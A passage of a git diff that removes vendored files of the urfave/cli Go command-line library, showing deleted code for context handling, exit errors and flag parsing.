ctx.App.Author - app.Email = ctx.App.Email - app.Writer = ctx.App.Writer - app.ErrWriter = ctx.App.ErrWriter - - app.categories = CommandCategories{} - for _, command := range c.Subcommands { - app.categories = app.categories.AddCommand(command.Category, command) - } - - sort.Sort(app.categories) - - // bash completion - app.EnableBashCompletion = ctx.App.EnableBashCompletion - if c.BashComplete != nil { - app.BashComplete = c.BashComplete - } - - // set the actions - app.Before = c.Before - app.After = c.After - if c.Action != nil { - app.Action = c.Action - } else { - app.Action = helpSubcommand.Action - } - app.OnUsageError = c.OnUsageError - - for index, cc := range app.Commands { - app.Commands[index].commandNamePath = []string{c.Name, cc.Name} - } - - return app.RunAsSubcommand(ctx) -} - -// VisibleFlags returns a slice of the Flags with Hidden=false -func (c Command) VisibleFlags() []Flag { - return visibleFlags(c.Flags) -} diff --git a/vendor/github.com/urfave/cli/context.go b/vendor/github.com/urfave/cli/context.go deleted file mode 100644 index db94191e2a..0000000000 --- a/vendor/github.com/urfave/cli/context.go +++ /dev/null @@ -1,278 +0,0 @@ -package cli - -import ( - "errors" - "flag" - "reflect" - "strings" - "syscall" -) - -// Context is a type that is passed through to -// each Handler action in a cli application. Context -// can be used to retrieve context-specific Args and -// parsed command-line options. -type Context struct { - App *App - Command Command - shellComplete bool - flagSet *flag.FlagSet - setFlags map[string]bool - parentContext *Context -} - -// NewContext creates a new context. For use in when invoking an App or Command action. -func NewContext(app *App, set *flag.FlagSet, parentCtx *Context) *Context { - c := &Context{App: app, flagSet: set, parentContext: parentCtx} - - if parentCtx != nil { - c.shellComplete = parentCtx.shellComplete - } - - return c -} - -// NumFlags returns the number of flags set -func (c *Context) NumFlags() int { - return c.flagSet.NFlag() -} - -// Set sets a context flag to a value. -func (c *Context) Set(name, value string) error { - c.setFlags = nil - return c.flagSet.Set(name, value) -} - -// GlobalSet sets a context flag to a value on the global flagset -func (c *Context) GlobalSet(name, value string) error { - globalContext(c).setFlags = nil - return globalContext(c).flagSet.Set(name, value) -} - -// IsSet determines if the flag was actually set -func (c *Context) IsSet(name string) bool { - if c.setFlags == nil { - c.setFlags = make(map[string]bool) - - c.flagSet.Visit(func(f *flag.Flag) { - c.setFlags[f.Name] = true - }) - - c.flagSet.VisitAll(func(f *flag.Flag) { - if _, ok := c.setFlags[f.Name]; ok { - return - } - c.setFlags[f.Name] = false - }) - - // XXX hack to support IsSet for flags with EnvVar - // - // There isn't an easy way to do this with the current implementation since - // whether a flag was set via an environment variable is very difficult to - // determine here. Instead, we intend to introduce a backwards incompatible - // change in version 2 to add `IsSet` to the Flag interface to push the - // responsibility closer to where the information required to determine - // whether a flag is set by non-standard means such as environment - // variables is avaliable. - // - // See https://github.com/urfave/cli/issues/294 for additional discussion - flags := c.Command.Flags - if c.Command.Name == "" { // cannot == Command{} since it contains slice types - if c.App != nil { - flags = c.App.Flags - } - } - for _, f := range flags { - eachName(f.GetName(), func(name string) { - if isSet, ok := c.setFlags[name]; isSet || !ok { - return - } - - val := reflect.ValueOf(f) - if val.Kind() == reflect.Ptr { - val = val.Elem() - } - - envVarValue := val.FieldByName("EnvVar") - if !envVarValue.IsValid() { - return - } - - eachName(envVarValue.String(), func(envVar string) { - envVar = strings.TrimSpace(envVar) - if _, ok := syscall.Getenv(envVar); ok { - c.setFlags[name] = true - return - } - }) - }) - } - } - - return c.setFlags[name] -} - -// GlobalIsSet determines if the global flag was actually set -func (c *Context) GlobalIsSet(name string) bool { - ctx := c - if ctx.parentContext != nil { - ctx = ctx.parentContext - } - - for ; ctx != nil; ctx = ctx.parentContext { - if ctx.IsSet(name) { - return true - } - } - return false -} - -// FlagNames returns a slice of flag names used in this context. -func (c *Context) FlagNames() (names []string) { - for _, flag := range c.Command.Flags { - name := strings.Split(flag.GetName(), ",")[0] - if name == "help" { - continue - } - names = append(names, name) - } - return -} - -// GlobalFlagNames returns a slice of global flag names used by the app. -func (c *Context) GlobalFlagNames() (names []string) { - for _, flag := range c.App.Flags { - name := strings.Split(flag.GetName(), ",")[0] - if name == "help" || name == "version" { - continue - } - names = append(names, name) - } - return -} - -// Parent returns the parent context, if any -func (c *Context) Parent() *Context { - return c.parentContext -} - -// value returns the value of the flag coressponding to `name` -func (c *Context) value(name string) interface{} { - return c.flagSet.Lookup(name).Value.(flag.Getter).Get() -} - -// Args contains apps console arguments -type Args []string - -// Args returns the command line arguments associated with the context. -func (c *Context) Args() Args { - args := Args(c.flagSet.Args()) - return args -} - -// NArg returns the number of the command line arguments. -func (c *Context) NArg() int { - return len(c.Args()) -} - -// Get returns the nth argument, or else a blank string -func (a Args) Get(n int) string { - if len(a) > n { - return a[n] - } - return "" -} - -// First returns the first argument, or else a blank string -func (a Args) First() string { - return a.Get(0) -} - -// Tail returns the rest of the arguments (not the first one) -// or else an empty string slice -func (a Args) Tail() []string { - if len(a) >= 2 { - return []string(a)[1:] - } - return []string{} -} - -// Present checks if there are any arguments present -func (a Args) Present() bool { - return len(a) != 0 -} - -// Swap swaps arguments at the given indexes -func (a Args) Swap(from, to int) error { - if from >= len(a) || to >= len(a) { - return errors.New("index out of range") - } - a[from], a[to] = a[to], a[from] - return nil -} - -func globalContext(ctx *Context) *Context { - if ctx == nil { - return nil - } - - for { - if ctx.parentContext == nil { - return ctx - } - ctx = ctx.parentContext - } -} - -func lookupGlobalFlagSet(name string, ctx *Context) *flag.FlagSet { - if ctx.parentContext != nil { - ctx = ctx.parentContext - } - for ; ctx != nil; ctx = ctx.parentContext { - if f := ctx.flagSet.Lookup(name); f != nil { - return ctx.flagSet - } - } - return nil -} - -func copyFlag(name string, ff *flag.Flag, set *flag.FlagSet) { - switch ff.Value.(type) { - case *StringSlice: - default: - set.Set(name, ff.Value.String()) - } -} - -func normalizeFlags(flags []Flag, set *flag.FlagSet) error { - visited := make(map[string]bool) - set.Visit(func(f *flag.Flag) { - visited[f.Name] = true - }) - for _, f := range flags { - parts := strings.Split(f.GetName(), ",") - if len(parts) == 1 { - continue - } - var ff *flag.Flag - for _, name := range parts { - name = strings.Trim(name, " ") - if visited[name] { - if ff != nil { - return errors.New("Cannot use two forms of the same flag: " + name + " " + ff.Name) - } - ff = set.Lookup(name) - } - } - if ff == nil { - continue - } - for _, name := range parts { - name = strings.Trim(name, " ") - if !visited[name] { - copyFlag(name, ff, set) - } - } - } - return nil -} diff --git a/vendor/github.com/urfave/cli/errors.go b/vendor/github.com/urfave/cli/errors.go deleted file mode 100644 index 562b2953cf..0000000000 --- a/vendor/github.com/urfave/cli/errors.go +++ /dev/null @@ -1,115 +0,0 @@ -package cli - -import ( - "fmt" - "io" - "os" - "strings" -) - -// OsExiter is the function used when the app exits. If not set defaults to os.Exit. -var OsExiter = os.Exit - -// ErrWriter is used to write errors to the user. This can be anything -// implementing the io.Writer interface and defaults to os.Stderr. -var ErrWriter io.Writer = os.Stderr - -// MultiError is an error that wraps multiple errors. -type MultiError struct { - Errors []error -} - -// NewMultiError creates a new MultiError. Pass in one or more errors. -func NewMultiError(err ...error) MultiError { - return MultiError{Errors: err} -} - -// Error implements the error interface. -func (m MultiError) Error() string { - errs := make([]string, len(m.Errors)) - for i, err := range m.Errors { - errs[i] = err.Error() - } - - return strings.Join(errs, "\n") -} - -type ErrorFormatter interface { - Format(s fmt.State, verb rune) -} - -// ExitCoder is the interface checked by `App` and `Command` for a custom exit -// code -type ExitCoder interface { - error - ExitCode() int -} - -// ExitError fulfills both the builtin `error` interface and `ExitCoder` -type ExitError struct { - exitCode int - message interface{} -} - -// NewExitError makes a new *ExitError -func NewExitError(message interface{}, exitCode int) *ExitError { - return &ExitError{ - exitCode: exitCode, - message: message, - } -} - -// Error returns the string message, fulfilling the interface required by -// `error` -func (ee *ExitError) Error() string { - return fmt.Sprintf("%v", ee.message) -} - -// ExitCode returns the exit code, fulfilling the interface required by -// `ExitCoder` -func (ee *ExitError) ExitCode() int { - return ee.exitCode -} - -// HandleExitCoder checks if the error fulfills the ExitCoder interface, and if -// so prints the error to stderr (if it is non-empty) and calls OsExiter with the -// given exit code. If the given error is a MultiError, then this func is -// called on all members of the Errors slice and calls OsExiter with the last exit code. -func HandleExitCoder(err error) { - if err == nil { - return - } - - if exitErr, ok := err.(ExitCoder); ok { - if err.Error() != "" { - if _, ok := exitErr.(ErrorFormatter); ok { - fmt.Fprintf(ErrWriter, "%+v\n", err) - } else { - fmt.Fprintln(ErrWriter, err) - } - } - OsExiter(exitErr.ExitCode()) - return - } - - if multiErr, ok := err.(MultiError); ok { - code := handleMultiError(multiErr) - OsExiter(code) - return - } -} - -func handleMultiError(multiErr MultiError) int { - code := 1 - for _, merr := range multiErr.Errors { - if multiErr2, ok := merr.(MultiError); ok { - code = handleMultiError(multiErr2) - } else { - fmt.Fprintln(ErrWriter, merr) - if exitErr, ok := merr.(ExitCoder); ok { - code = exitErr.ExitCode() - } - } - } - return code -} diff --git a/vendor/github.com/urfave/cli/flag-types.json b/vendor/github.com/urfave/cli/flag-types.json deleted file mode 100644 index 1223107859..0000000000 --- a/vendor/github.com/urfave/cli/flag-types.json +++ /dev/null @@ -1,93 +0,0 @@ -[ - { - "name": "Bool", - "type": "bool", - "value": false, - "context_default": "false", - "parser": "strconv.ParseBool(f.Value.String())" - }, - { - "name": "BoolT", - "type": "bool", - "value": false, - "doctail": " that is true by default", - "context_default": "false", - "parser": "strconv.ParseBool(f.Value.String())" - }, - { - "name": "Duration", - "type": "time.Duration", - "doctail": " (see https://golang.org/pkg/time/#ParseDuration)", - "context_default": "0", - "parser": "time.ParseDuration(f.Value.String())" - }, - { - "name": "Float64", - "type": "float64", - "context_default": "0", - "parser": "strconv.ParseFloat(f.Value.String(), 64)" - }, - { - "name": "Generic", - "type": "Generic", - "dest": false, - "context_default": "nil", - "context_type": "interface{}" - }, - { - "name": "Int64", - "type": "int64", - "context_default": "0", - "parser": "strconv.ParseInt(f.Value.String(), 0, 64)" - }, - { - "name": "Int", - "type": "int", - "context_default": "0", - "parser": "strconv.ParseInt(f.Value.String(), 0, 64)", - "parser_cast": "int(parsed)" - }, - { - "name": "IntSlice", - "type": "*IntSlice", - "dest": false, - "context_default": "nil", - "context_type": "[]int", - "parser": "(f.Value.(*IntSlice)).Value(), error(nil)" - }, - { - "name": "Int64Slice", - "type": "*Int64Slice", - "dest": false, - "context_default": "nil", - "context_type": "[]int64", - "parser": "(f.Value.(*Int64Slice)).Value(), error(nil)" - }, - { - "name": "String", - "type": "string", - "context_default": "\"\"", - "parser": "f.Value.String(), error(nil)" - }, - { - "name": "StringSlice", - "type": "*StringSlice", - "dest": false, - "context_default": "nil", - "context_type": "[]string", - "parser": "(f.Value.(*StringSlice)).Value(), error(nil)" - }, - { - "name": "Uint64", - "type": "uint64", - "context_default": "0", - "parser": "strconv.ParseUint(f.Value.String(), 0, 64)" - }, - { - "name": "Uint", - "type": "uint", - "context_default": "0", - "parser": "strconv.ParseUint(f.Value.String(), 0, 64)", - "parser_cast": "uint(parsed)" - } -] diff --git a/vendor/github.com/urfave/cli/flag.go b/vendor/github.com/urfave/cli/flag.go deleted file mode 100644 index 877ff3523d..0000000000 --- a/vendor/github.com/urfave/cli/flag.go +++ /dev/null @@ -1,799 +0,0 @@ -package cli - -import ( - "flag" - "fmt" - "reflect" - "runtime" - "strconv" - "strings" - "syscall" - "time" -) - -const defaultPlaceholder = "value" - -// BashCompletionFlag enables bash-completion for all commands and subcommands -var BashCompletionFlag Flag = BoolFlag{ - Name: "generate-bash-completion", - Hidden: true, -} - -// VersionFlag prints the version for the application -var VersionFlag Flag = BoolFlag{ - Name: "version, v", - Usage: "print the version", -} - -// HelpFlag prints the help for all commands and subcommands -// Set to the zero value (BoolFlag{}) to disable flag -- keeps subcommand -// unless HideHelp is set to true) -var HelpFlag Flag = BoolFlag{ - Name: "help, h", - Usage: "show help", -} - -// FlagStringer converts a flag definition to a string. This is used by help -// to display a flag. -var FlagStringer FlagStringFunc = stringifyFlag - -// FlagsByName is a slice of Flag. -type FlagsByName []Flag - -func (f FlagsByName) Len() int { - return len(f) -} - -func (f FlagsByName) Less(i, j int) bool { - return f[i].GetName() < f[j].GetName() -} - -func (f FlagsByName) Swap(i, j int) { - f[i], f[j] = f[j], f[i] -} - -// Flag is a common interface related to parsing flags in cli. -// For more advanced flag parsing techniques, it is recommended that -// this interface be implemented. -type Flag interface { - fmt.Stringer - // Apply Flag settings to the given flag set - Apply(*flag.FlagSet) - GetName() string -} - -// errorableFlag is an interface that allows us to return errors during apply -// it allows flags defined in this library to return errors in a fashion backwards compatible -// TODO remove in v2 and modify the existing Flag interface to return errors -type errorableFlag interface { - Flag - - ApplyWithError(*flag.FlagSet) error -} - -func flagSet(name string, flags []Flag) (*flag.FlagSet, error) { - set := flag.NewFlagSet(name, flag.ContinueOnError) - - for _, f := range flags { - //TODO remove in v2 when errorableFlag is removed - if ef, ok := f.(errorableFlag); ok { - if err := ef.ApplyWithError(set); err != nil { - return nil, err - } - } else { - f.Apply(set) - } - } - return set, nil -} - -func eachName(longName string, fn func(string)) { - parts := strings.Split(longName, ",") - for _, name := range parts { - name = strings.Trim(name, " ") - fn(name) - } -} - -// Generic is a generic parseable type identified by a specific flag -type Generic interface { - Set(value string) error - String() string -} - -// Apply takes the flagset and calls Set on the generic flag with the value -// provided by the user for parsing by the flag -// Ignores parsing errors -func (f GenericFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError takes the flagset and calls Set on the generic flag with the value -// provided by the user for parsing by the flag -func (f GenericFlag) ApplyWithError(set *flag.FlagSet) error { - val := f.Value - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - if err := val.Set(envVal); err != nil { - return fmt.Errorf("could not parse %s as value for flag %s: %s", envVal, f.Name, err) - } - break - } - } - } - - eachName(f.Name, func(name string) { - set.Var(f.Value, name, f.Usage) - }) - - return nil -} - -// StringSlice is an opaque type for []string to satisfy flag.Value and flag.Getter -type StringSlice []string - -// Set appends the string value to the list of values -func (f *StringSlice) Set(value string) error { - *f = append(*f, value) - return nil -} - -// String returns a readable representation of this value (for usage defaults) -func (f *StringSlice) String() string { - return fmt.Sprintf("%s", *f) -} - -// Value returns the slice of strings set by this flag -func (f *StringSlice) Value() []string { - return *f -} - -// Get returns the slice of strings set by this flag -func (f *StringSlice) Get() interface{} { - return *f -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f StringSliceFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f StringSliceFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - newVal := &StringSlice{} - for _, s := range strings.Split(envVal, ",") { - s = strings.TrimSpace(s) - if err := newVal.Set(s); err != nil { - return fmt.Errorf("could not parse %s as string value for flag %s: %s", envVal, f.Name, err) - } - } - f.Value = newVal - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Value == nil { - f.Value = &StringSlice{} - } - set.Var(f.Value, name, f.Usage) - }) - - return nil -} - -// IntSlice is an opaque type for []int to satisfy flag.Value and flag.Getter -type IntSlice []int - -// Set parses the value into an integer and appends it to the list of values -func (f *IntSlice) Set(value string) error { - tmp, err := strconv.Atoi(value) - if err != nil { - return err - } - *f = append(*f, tmp) - return nil -} - -// String returns a readable representation of this value (for usage defaults) -func (f *IntSlice) String() string { - return fmt.Sprintf("%#v", *f) -} - -// Value returns the slice of ints set by this flag -func (f *IntSlice) Value() []int { - return *f -} - -// Get returns the slice of ints set by this flag -func (f *IntSlice) Get() interface{} { - return *f -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f IntSliceFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f IntSliceFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - newVal := &IntSlice{} - for _, s := range strings.Split(envVal, ",") { - s = strings.TrimSpace(s) - if err := newVal.Set(s); err != nil { - return fmt.Errorf("could not parse %s as int slice value for flag %s: %s", envVal, f.Name, err) - } - } - f.Value = newVal - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Value == nil { - f.Value = &IntSlice{} - } - set.Var(f.Value, name, f.Usage) - }) - - return nil -} - -// Int64Slice is an opaque type for []int to satisfy flag.Value and flag.Getter -type Int64Slice []int64 - -// Set parses the value into an integer and appends it to the list of values -func (f *Int64Slice) Set(value string) error { - tmp, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return err - } - *f = append(*f, tmp) - return nil -} - -// String returns a readable representation of this value (for usage defaults) -func (f *Int64Slice) String() string { - return fmt.Sprintf("%#v", *f) -} - -// Value returns the slice of ints set by this flag -func (f *Int64Slice) Value() []int64 { - return *f -} - -// Get returns the slice of ints set by this flag -func (f *Int64Slice) Get() interface{} { - return *f -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f Int64SliceFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f Int64SliceFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - newVal := &Int64Slice{} - for _, s := range strings.Split(envVal, ",") { - s = strings.TrimSpace(s) - if err := newVal.Set(s); err != nil { - return fmt.Errorf("could not parse %s as int64 slice value for flag %s: %s", envVal, f.Name, err) - } - } - f.Value = newVal - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Value == nil { - f.Value = &Int64Slice{} - } - set.Var(f.Value, name, f.Usage) - }) - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f BoolFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f BoolFlag) ApplyWithError(set *flag.FlagSet) error { - val := false - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - if envVal == "" { - val = false - break - } - - envValBool, err := strconv.ParseBool(envVal) - if err != nil { - return fmt.Errorf("could not parse %s as bool value for flag %s: %s", envVal, f.Name, err) - } - - val = envValBool - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.BoolVar(f.Destination, name, val, f.Usage) - return - } - set.Bool(name, val, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f BoolTFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f BoolTFlag) ApplyWithError(set *flag.FlagSet) error { - val := true - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - if envVal == "" { - val = false - break - } - - envValBool, err := strconv.ParseBool(envVal) - if err != nil { - return fmt.Errorf("could not parse %s as bool value for flag %s: %s", envVal, f.Name, err) - } - - val = envValBool - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.BoolVar(f.Destination, name, val, f.Usage) - return - } - set.Bool(name, val, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f StringFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f StringFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - f.Value = envVal - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.StringVar(f.Destination, name, f.Value, f.Usage) - return - } - set.String(name, f.Value, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f IntFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f IntFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - envValInt, err := strconv.ParseInt(envVal, 0, 64) - if err != nil { - return fmt.Errorf("could not parse %s as int value for flag %s: %s", envVal, f.Name, err) - } - f.Value = int(envValInt) - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.IntVar(f.Destination, name, f.Value, f.Usage) - return - } - set.Int(name, f.Value, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f Int64Flag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f Int64Flag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - envValInt, err := strconv.ParseInt(envVal, 0, 64) - if err != nil { - return fmt.Errorf("could not parse %s as int value for flag %s: %s", envVal, f.Name, err) - } - - f.Value = envValInt - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.Int64Var(f.Destination, name, f.Value, f.Usage) - return - } - set.Int64(name, f.Value, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f UintFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f UintFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - envValInt, err := strconv.ParseUint(envVal, 0, 64) - if err != nil { - return fmt.Errorf("could not parse %s as uint value for flag %s: %s", envVal, f.Name, err) - } - - f.Value = uint(envValInt) - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.UintVar(f.Destination, name, f.Value, f.Usage) - return - } - set.Uint(name, f.Value, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f Uint64Flag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f Uint64Flag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - envValInt, err := strconv.ParseUint(envVal, 0, 64) - if err != nil { - return fmt.Errorf("could not parse %s as uint64 value for flag %s: %s", envVal, f.Name, err) - } - - f.Value = uint64(envValInt) - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.Uint64Var(f.Destination, name, f.Value, f.Usage) - return - } - set.Uint64(name, f.Value, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f DurationFlag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f DurationFlag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - envValDuration, err := time.ParseDuration(envVal) - if err != nil { - return fmt.Errorf("could not parse %s as duration for flag %s: %s", envVal, f.Name, err) - } - - f.Value = envValDuration - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.DurationVar(f.Destination, name, f.Value, f.Usage) - return - } - set.Duration(name, f.Value, f.Usage) - }) - - return nil -} - -// Apply populates the flag given the flag set and environment -// Ignores errors -func (f Float64Flag) Apply(set *flag.FlagSet) { - f.ApplyWithError(set) -} - -// ApplyWithError populates the flag given the flag set and environment -func (f Float64Flag) ApplyWithError(set *flag.FlagSet) error { - if f.EnvVar != "" { - for _, envVar := range strings.Split(f.EnvVar, ",") { - envVar = strings.TrimSpace(envVar) - if envVal, ok := syscall.Getenv(envVar); ok { - envValFloat, err := strconv.ParseFloat(envVal, 10) - if err != nil { - return fmt.Errorf("could not parse %s as float64 value for flag %s: %s", envVal, f.Name, err) - } - - f.Value = float64(envValFloat) - break - } - } - } - - eachName(f.Name, func(name string) { - if f.Destination != nil { - set.Float64Var(f.Destination, name, f.Value, f.Usage) - return - } - set.Float64(name, f.Value, f.Usage) - }) - - return nil -} - -func visibleFlags(fl []Flag) []Flag { - visible := []Flag{} - for _, flag := range fl { - field := flagValue(flag).FieldByName("Hidden") - if !field.IsValid() || !field.Bool() { - visible = append(visible, flag) - } - } - return visible -} - -func prefixFor(name string) (prefix string) { - if len(name) == 1 { - prefix = "-" - } else { - prefix = "--" - } - - return -} - -// Returns the placeholder, if any, and the unquoted usage string. -func unquoteUsage(usage string) (string, string) { - for i := 0; i < len(usage); i++ { - if usage[i] == '`' { - for j := i + 1; j < len(usage); j++ { - if usage[j] == '`' { - name := usage[i+1 : j] - usage = usage[:i] + name + usage[j+1:] - return name, usage - } - } - break - } - } - return "", usage -} - -func prefixedNames(fullName, placeholder string) string { - var prefixed string - parts := strings.Split(fullName, ",") - for i, name := range parts { - name = strings.Trim(name, " ") - prefixed += prefixFor(name) + name - if placeholder != "" { - prefixed += " " + placeholder - } - if i < len(parts)-1 { - prefixed += ", " - } - } - return prefixed -} - -func withEnvHint(envVar, str string) string { - envText := "" - if envVar != "" { - prefix := "$" - suffix := "" - sep := ", $" - if runtime.GOOS == "windows" { - prefix = "%" - suffix = "%" - sep = "%, %" - } - envText = fmt.Sprintf(" [%s%s%s]", prefix, strings.Join(strings.Split(envVar, ","), sep), suffix) - } - return str + envText -} - -func flagValue(f Flag) reflect.Value { - fv := reflect.ValueOf(f) - for fv.Kind() == reflect.Ptr { - fv = reflect.Indirect(fv) - } - return fv -} - -func stringifyFlag(f Flag) string { - fv := flagValue(f) - - switch f.(type) { - case IntSliceFlag: - return withEnvHint(fv.FieldByName("EnvVar").String(), - stringifyIntSliceFlag(f.(IntSliceFlag))) - case Int64SliceFlag: - return withEnvHint(fv.FieldByName("EnvVar").String(), - stringifyInt64SliceFlag(f.(Int64SliceFlag))) - case StringSliceFlag: - return withEnvHint(fv.FieldByName("EnvVar").String(), - stringifyStringSliceFlag(f.(StringSliceFlag))) - } - - placeholder, usage := unquoteUsage(fv.FieldByName("Usage").String()) - - needsPlaceholder := false - defaultValueString := "" - - if val := fv.FieldByName("Value"); val.IsValid() { - needsPlaceholder = true - defaultValueString = fmt.Sprintf(" (default: %v)", val.Interface()) - - if val.Kind() == reflect.String && val.String() != "" { - defaultValueString = fmt.Sprintf(" (default: %q)", val.String()) - } - } - - if defaultValueString == " (default: )" { - defaultValueString = "" - } - - if needsPlaceholder && placeholder == "" { - placeholder = defaultPlaceholder - } - - usageWithDefault := strings.TrimSpace(fmt.Sprintf("%s%s", usage, defaultValueString)) - - return withEnvHint(fv.FieldByName("EnvVar").String(), - fmt.Sprintf("%s\t%s", prefixedNames(fv.FieldByName("Name").String(), placeholder), usageWithDefault)) -} - -func stringifyIntSliceFlag(f IntSliceFlag) string { - defaultVals := []string{} - if f.Value != nil && len(f.Value.Value()) > 0 { - for _, i := range f.Value.Value() { - defaultVals = append(defaultVals, fmt.Sprintf("%d", i)) - } - } - - return stringifySliceFlag(f.Usage, f.Name, defaultVals) -} - -func stringifyInt64SliceFlag(f Int64SliceFlag) string { - defaultVals := []string{} - if f.Value != nil && len(f.Value.Value()) > 0 { - for _, i := range f.Value.Value() { - defaultVals = append(defaultVals, fmt.Sprintf("%d", i)) - } - } - - return stringifySliceFlag(f.Usage, f.Name, defaultVals) -} - -func stringifyStringSliceFlag(f StringSliceFlag) string { - defaultVals := []string{} - if f.Value != nil && len(f.Value.Value()) > 0 { - for _, s := range f.Value.Value() { - if len(s) > 0 { - defaultVals = append(defaultVals, fmt.Sprintf("%q", s)) - } - } - } - - return stringifySliceFlag(f.Usage, f.Name, defaultVals) -} - -func stringifySliceFlag(usage, name string, defaultVals []string) string { - placeholder, usage := unquoteUsage(usage) - if placeholder == "" { - placeholder = defaultPlaceholder - } - - defaultVal := "" - if len(defaultVals) > 0 { - defaultVal = fmt.Sprintf(" (default: %s)", strings.Join(defaultVals, ", ")) - } - - usageWithDefault := strings.TrimSpace(fmt.Sprintf("%s%s", usage, defaultVal)) - return fmt.Sprintf("%s\t%s", prefixedNames(name, placeholder), usageWithDefault) -} diff --git a/vendor/github.com/urfave/cli/flag_generated.go b/vendor/github.com/urfave/cli/flag_generated.go deleted file mode 100644 index 491b61956c..0000000000 --- a/vendor/github.com/urfave/cli/flag_generated.go +++ /dev/null @@ -1,627 +0,0 @@ -package cli - -import ( - "flag" - "strconv" - "time" -) - -// WARNING: This file is generated! - -// BoolFlag is a flag with type bool -type BoolFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Destination *bool -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f BoolFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f BoolFlag) GetName() string { - return f.Name -} - -// Bool looks up the value of a local BoolFlag, returns -// false if not found -func (c *Context) Bool(name string) bool { - return lookupBool(name, c.flagSet) -} - -// GlobalBool looks up the value of a global BoolFlag, 